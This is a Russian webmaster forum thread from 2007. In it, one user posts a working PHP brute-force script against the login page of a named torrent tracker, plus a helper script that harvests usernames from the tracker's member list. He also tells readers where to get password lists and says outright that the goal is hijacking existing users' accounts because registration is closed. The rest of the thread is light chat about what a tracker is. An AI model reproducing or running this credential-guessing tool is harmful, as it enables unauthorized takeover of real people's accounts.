форум вебмастероff на AlfaSpace.NET

Ubuntu и Linux |реактивный бесплатный хостинг | Киноклуб. ВСЁ БЕСПЛАТНО!
база знаний хостинга | правила форума

  Начало ° Ответить ° Статистика ° Опрос ° Регистрация ° Поиск ° FAQ °
Форум вебмастеров на AlfaSpace.NET / The Matrix Has You / [php] dc.ru-board.com bruter
Автор Сообщение
Константин
TorrentMaster

3449
# Дата: 8 Янв 2007 12:57


Собственно сабж: мелкий брутер специально для добывания акков на трекере dc.ru-board.com - при желании адаптируется под конкретные нужды...
оставил одну ошибку - чтобы скрипткиддисы не использовали...

 
<? 
//dc.ru-board.com bruter 
error_reporting(0); 
 
//[config] 
$resultfl="loginsok.txt"; 
$loginsfl="loginsparsed.txt"; 
$passwordsfl="passwords.txt"; 
$host="dc.ru-board.com"; 
$port=80; 
$timeout=8; 
 
//[request pattern] 
$requestpattern = "POST /takelogin.php HTTP/1.1\n"; 
$requestpattern.= "Host: dc.ru-board.com\n"; 
$requestpattern.= "User-Agent: Mozilla/5.0 (probe)\n"; 
$requestpattern.= "Keep-Alive: 300\n"; 
$requestpattern.= "Connection: keep-alive\n"; 
$requestpattern.= "Referer: http://dc.ru-board.com/login.php\n"; 
$requestpattern.= "Content-Type: application/x-www-form-urlencoded\n"; 
$requestpattern.= "Content-Length: [bruter_clen]\n\n"; 
$requestpattern.= "username=[bruter_user]&password=[brooter_pass]"; 
 
 
 
function probe($log,$pas,$hst,$prt,$tmt,$reqpat) 
{ 
    $sock=fsockopen($hst,$prt,$errno,$errstr,$tmt); 
    if (!$sock) 
    { 
        return 2;//connection timeout 1 
    } 
     
    $request=str_replace("[bruter_user]",$log,$reqpat); 
    $request=str_replace("[bruter_pass]",$pas,$request); 
    $request=str_replace("[bruter_clen]",intval(strlen($log)+strlen($pas)+19),$r 
equest); fputs($sock,$request); $buffer=""; $timestart=time(); while (((time()-$timestart)<$tmt)&&($buffer=="")) { $buffer.=fgets($sock,8192); } if ($buffer=="") {fclose($sock); return 3;}//connection timeout 2 if (strpos($buffer,"TTP/1.1 302 Found")>0) {fclose($sock); return 0;}//success if (strpos($buffer,"TTP/1.1 200 OK")>0) {//check new timeout $buffer=""; $timestart=time(); while (((time()-$timestart)<$tmt)&&(strlen(trim($buffer)==0))) { $buffer.=fread($sock,8192); } if (trim($buffer)=="") {fclose($sock); return 4;}//connection timeout 3 elseif ((strpos($buffer,"verloaded")>0)||(strpos($buffer,"регружен")>0)) {fc
lose($sock); return 4;}//connection timeout 3 else {fclose($sock); return 1;}//login:password failed } } //[main] //loading info... $logins=file_get_contents($loginsfl); $loginse=explode("\n",$logins); $llen=sizeof($loginse); $passwords=file_get_contents($passwordsfl); $passwordse=explode("\n",$passwords); $plen=sizeof($passwordse); $res=""; $curlogin=""; $curpassword=""; echo("<html><body bgcolor=\"Silver\"><pre>"); flush(); for ($iil=0;$iil<$llen;$iil++) {//check login:login and login:reverse(login) echo("<$iil> "); flush(); $curlogin=trim($loginse[$iil]); //login:login $curpassword=$curlogin; $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpattern); if ($res!=0) {echo($res); flush();} while ($res>1) { $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpattern); echo($res); flush(); } if ($res==0) { echo("0[$curlogin:$curpassword]\n"); flush(); $flr=fopen($resultfl,"a+"); fwrite($flr,"$curlogin:$curpassword\n"); fclose($flr); continue;//try next login } echo("|"); flush(); //login:reverse(login) $curpassword=strrev($curlogin); $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpattern); if ($res!=0) {echo($res); flush();} while ($res>1) { $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpattern); echo($res); flush(); } if ($res==0) { echo("0[$curlogin:$curpassword]\n"); flush(); $flr=fopen($resultfl,"a+"); fwrite($flr,"$curlogin:$curpassword\n"); fclose($flr); continue;//try next login } echo("|"); flush(); for ($iip=0;$iip<$plen;$iip++) {//check passwords from file $curpassword=trim($passwordse[$iip]); $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpattern); if ($res!=0) {echo($res); flush();} while ($res>1) { $res=probe($curlogin,$curpassword,$host,$port,$timeout,$requestpatte
rn); echo($res); flush(); } if ($res==0) { echo("0[$curlogin:$curpassword]"); flush(); $flr=fopen($resultfl,"a+"); fwrite($flr,"$curlogin:$curpassword\n"); fclose($flr); break;//try next login } echo("|"); flush(); } echo("\n"); flush(); } echo("\n-----\nDone"); flush(); ?>


Константин
TorrentMaster

3449
# Дата: 8 Янв 2007 14:03


В догонку к предыдущему посту.
Там не хватает файла с паролями и логинами:
логины добываются из списка юзеров на трекере
и скармливаются скрипту:
 
<?//for extracting logins from list with tabutalors 
$src=file_get_contents('rawlogins.txt'); 
$srce=explode("\n",$src); 
$len=sizeof($srce); 
$res=""; 
 
for ($ii=0;$ii<$len;$ii++) 
{ 
    $res.=trim(substr($srce[$ii],0,strpos($srce[$ii],"\t")))."\n"; 
} 
 
echo($res); 
 
$fl=fopen("loginsparsed.txt","w"); 
fwrite($fl,trim($res)); 
fclose($fl) 
 
?> 



Пароли можно брать на passwords.ru или в одной из тем на этом форуме - там help писал самые популярные пароли - могу сказать что они идеально подходят

Themax
Участник

34
# Дата: 8 Янв 2007 16:24


» Константин
там help писал самые популярные пароли

Можешь дать ссылку на эту тему?

Константин
TorrentMaster

3449
# Дата: 8 Янв 2007 17:57


Themax
http://forum.alfaspace.net/9_4766_0.html

Serg
Участник

1818
# Дата: 8 Янв 2007 22:18


Константин, а кто такой трекер?

Рамиль
minibb moder

1151
# Дата: 9 Янв 2007 04:26


Serg
» Serg
а кто такой трекер?

как я понимаю это что-то вроде обменника по типу peer2peer
ЗЫ. я сам не донца понял что я сказал

Константин
TorrentMaster

3449
# Дата: 9 Янв 2007 06:24 ° Поправил: Константин


Эх и для кого я это писал....

Трекер это не вроде обменника - он только содержит информацию (.torrent файлы + описания) о том, какие файлы есть на компьютерах юзеров - после опроса трекера torrent клиентом по поводу конкретного torrent файла он выдает адреса "пиров" - тех машин, которые содержат части файла, после чего уже начинается прямой файлообмен...

Трекеры бывают открытые и закрытые. dc.ru-board.com - закрытый по причине достижения лимита юзеров. Чтобы работать с ним нужно зарегистрироваться, а сделать это не получается из-за лимита - вот я и выложил брутер для текущих юзерских аккаунтов А зарегистрироваться там стоит, поскольку выкладывают много всего полезного...

Михаил
Я знаю людей...

2552
# Дата: 9 Янв 2007 06:26


» Рамиль
по типу peer2peer

неее... После рассказа Константина понял, что это обмен по типу beer2beer...

Рамиль
minibb moder

1151
# Дата: 9 Янв 2007 07:20


Константин
теперь я понял. трекер - типо каталог с линками на торренты правильно?
» Константин
А зарегистрироваться там стоит, поскольку выкладывают много всего полезного...
может конечно как-то не так искал, но желаемую воблу не нашёл...

Ваш ответ

Quote  Bold Style  Italic Style  Underlined Style  URL Link  Email Link  Script AutoTab  Preformatted Text  Отменить *Что это?
... Запретить смайлы


Перед отправкой "нелатинского" текста проверьте кодировку броузера!
 » Логин  » Пароль 
 
Powered by miniBB forum software © 2001-2008
Powered by miniBB-gzipper. Original size:33268, gzipped size:10137

Mp3 Download || Webs Studio™ || Song's Lyrics
eXTReMe Tracker Rambler's Top100 Рейтинг@Mail.ru Форум ТвойWeb [Valid RSS]